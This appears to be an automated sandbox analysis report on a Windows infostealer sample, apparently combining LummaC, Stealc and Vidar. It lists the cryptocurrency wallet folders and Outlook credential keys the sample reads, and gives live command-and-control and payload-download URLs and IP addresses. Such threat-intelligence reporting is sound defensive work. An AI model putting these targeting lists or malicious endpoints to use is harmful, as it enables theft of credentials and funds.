Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000004.00000002.4589765887.0000000001020000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2632, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2837427645.0000000004075000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2910244099.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000000B.00000002.2850533577.0000000000EEA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2632, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe.3c75570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2131229108.0000000003C75000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe PID: 3652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 420, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2632, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF31FE0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF31FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF2DFC0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_mprintf,sqlite3_bind_text,sqlite3_step,sqlite3_reset,	4_2_1FF2DFC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEC5C70 sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	4_2_1FEC5C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF2DB10 sqlite3_initialize,sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_reset,sqlite3_free,sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	4_2_1FF2DB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFDD9E0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	4_2_1FFDD9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF55910 sqlite3_mprintf,sqlite3_bind_int64,	4_2_1FF55910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF8D610 sqlite3_free,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF8D610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF555B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF555B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFDD4F0 sqlite3_bind_value,sqlite3_log,sqlite3_log,sqlite3_log,	4_2_1FFDD4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FFD14D0 sqlite3_bind_int64,sqlite3_log,sqlite3_log,sqlite3_log,	4_2_1FFD14D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF6D3B0 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF6D3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF551D0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF551D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF49090 sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_errmsg,sqlite3_mprintf,	4_2_1FF49090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE0FB0 sqlite3_result_int64,sqlite3_result_double,sqlite3_result_int,sqlite3_prepare_v3,sqlite3_bind_int64,sqlite3_step,sqlite3_column_value,sqlite3_result_value,sqlite3_reset,	4_2_1FEE0FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF94D40 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_free,	4_2_1FF94D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE8CB0 sqlite3_bind_zeroblob,	4_2_1FEE8CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE8970 sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	4_2_1FEE8970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEC4820 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,sqlite3_initialize,	4_2_1FEC4820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF006E0 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	4_2_1FF006E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FED8680 sqlite3_mprintf,sqlite3_mprintf,sqlite3_initialize,sqlite3_finalize,sqlite3_free,sqlite3_mprintf,sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_int64,	4_2_1FED8680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF08550 sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_reset,	4_2_1FF08550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE8430 sqlite3_bind_int64,	4_2_1FEE8430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF28200 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int,sqlite3_reset,	4_2_1FF28200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF94140 sqlite3_bind_int64,sqlite3_step,sqlite3_column_bytes,sqlite3_column_blob,sqlite3_initialize,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,sqlite3_bind_int64,sqlite3_step,sqlite3_column_int64,sqlite3_reset,	4_2_1FF94140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEE7810 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	4_2_1FEE7810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF937E0 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF937E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF73770 sqlite3_bind_int64,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF73770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEDB400 sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,sqlite3_reset,sqlite3_step,sqlite3_reset,sqlite3_column_int64,	4_2_1FEDB400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF0EF30 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_result_error_code,	4_2_1FF0EF30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF2A6F0 sqlite3_mprintf,sqlite3_mprintf,sqlite3_mprintf,sqlite3_free,sqlite3_bind_value,	4_2_1FF2A6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FEC66C0 sqlite3_mprintf,sqlite3_bind_int64,sqlite3_step,sqlite3_reset,sqlite3_bind_int64,sqlite3_bind_null,sqlite3_bind_blob,sqlite3_bind_value,sqlite3_free,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	4_2_1FEC66C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF1E200 sqlite3_initialize,sqlite3_free,sqlite3_bind_int64,sqlite3_bind_blob,sqlite3_step,sqlite3_reset,	4_2_1FF1E200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF2E170 sqlite3_bind_int64,sqlite3_step,sqlite3_reset,	4_2_1FF2E170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4_2_1FF1E090 sqlite3_bind_int64,sqlite3_bind_value,sqlite3_step,sqlite3_reset,	4_2_1FF1E090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C720C40 sqlite3_bind_zeroblob,	11_2_6C720C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C720D60 sqlite3_bind_parameter_name,	11_2_6C720D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C648EA0 sqlite3_clear_bindings,	11_2_6C648EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	11_2_6C720B40

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	511 Process Injection	11 Deobfuscate/Decode Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Software Packing	NTDS	155 System Information Discovery	Distributed Component Object Model	1 Email Collection	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	251 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	34%	Virustotal		Browse
SecuriteInfo.com.Win32.PWSX-gen.1070.11757.exe	37%	ReversingLabs	Win32.Trojan.Generic

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\KECGHIJDGC.exe	100%	Joe Sandbox ML
C:\ProgramData\DGHIDAFCGI.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\userAAAAKJKJEB.exe	45%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\userCGCFCBAKKF.exe	63%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\66e40b2e8a52e_lfsdj[1].exe	63%	ReversingLabs	Win32.Spyware.Lummastealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\shbwdh[1].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vnfdamfs[1].exe	45%	ReversingLabs	Win32.Trojan.Privateloader
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\nss3[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
charistmatwio.shop	18%	Virustotal	Browse
steamcommunity.com	0%	Virustotal	Browse
grassemenwji.shop	18%	Virustotal	Browse
t.me	0%	Virustotal	Browse
brasstech.in	6%	Virustotal	Browse
preachstrwnwjw.shop	19%	Virustotal	Browse
complainnykso.shop	18%	Virustotal	Browse
basedsymsotp.shop	18%	Virustotal	Browse
commisionipwn.shop	18%	Virustotal	Browse
tenntysjuxmz.shop	26%	Virustotal	Browse
stitchmiscpaew.shop	18%	Virustotal	Browse
ignoracndwko.shop	19%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Cd7fb65801182a5f	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199724331900	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://tenntysjuxmz.shop/	100%	URL Reputation	phishing
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://player.vimeo.com	0%	Avira URL Cloud	safe
https://159.69.100.83	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.php	100%	Avira URL Cloud	malware
https://159.69.100.83/softokn3.dll	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.phpY	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	100%	Avira URL Cloud	malware
preachstrwnwjw.shop	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/nss3.dll(pV	100%	Avira URL Cloud	malware
https://159.69.100.83	0%	Virustotal		Browse
http://46.8.231.109/c4754d4f680ead72.php	17%	Virustotal		Browse
http://46.8.231.109/1309cdeb8f4c8736/msvcp140.dll	20%	Virustotal		Browse
preachstrwnwjw.shop	19%	Virustotal		Browse
https://t.me/edm0d	0%	Avira URL Cloud	safe
https://159.69.100.83/msvcp140.dll%rS/.	0%	Avira URL Cloud	safe
https://159.69.100.83/mozglue.dll	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
http://46.8.231.109/c4754d4f680ead72.phpY	16%	Virustotal		Browse
https://grassemenwji.shop/api	100%	Avira URL Cloud	malware
https://brasstech.in/vnfdamfs.exet-Disposition:	0%	Avira URL Cloud	safe
https://charistmatwio.shop/api	100%	Avira URL Cloud	malware
https://159.69.100.83/mozglue.dll	0%	Virustotal		Browse
https://159.69.100.83/nss3.dll?S	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Virustotal		Browse
https://t.me/edm0d	1%	Virustotal		Browse
https://t.me/edm0di11iMozilla/5.0	0%	Avira URL Cloud	safe
https://159.69.100.83/sqlp.dll	0%	Avira URL Cloud	safe
https://stitchmiscpaew.shop/D	100%	Avira URL Cloud	malware
https://player.vimeo.com	0%	Virustotal		Browse
https://www.youtube.com	0%	Avira URL Cloud	safe
http://gacan.zapto.org_DEBUG.zip/c	0%	Avira URL Cloud	safe
https://159.69.100.83/sqlp.dll	0%	Virustotal		Browse
https://www.google.com	0%	Avira URL Cloud	safe
https://159.69.100.83/vcruntime140.dll(qJ/)	0%	Avira URL Cloud	safe
stitchmiscpaew.shop	100%	Avira URL Cloud	malware
https://t.me/edm0di11iMozilla/5.0	0%	Virustotal		Browse
http://gacan.zapto.org_DEBUG.zip/c	0%	Virustotal		Browse
https://charistmatwio.shop/api	20%	Virustotal		Browse
https://www.google.com	0%	Virustotal		Browse
http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exe	100%	Avira URL Cloud	malware
https://www.youtube.com	0%	Virustotal		Browse
stitchmiscpaew.shop	18%	Virustotal		Browse
https://stitchmiscpaew.shop/2	100%	Avira URL Cloud	malware
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll	100%	Avira URL Cloud	malware
https://brasstech.in/	0%	Avira URL Cloud	safe
https://grassemenwji.shop/api	20%	Virustotal		Browse
http://147.45.44.104/prog/66e40b2e8a52e_lfsdj.exe	20%	Virustotal		Browse
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://brasstech.in/V	0%	Avira URL Cloud	safe
https://159.69.100.83/freebl3.dllCrm/1	0%	Avira URL Cloud	safe
https://complainnykso.shop/api	100%	Avira URL Cloud	malware
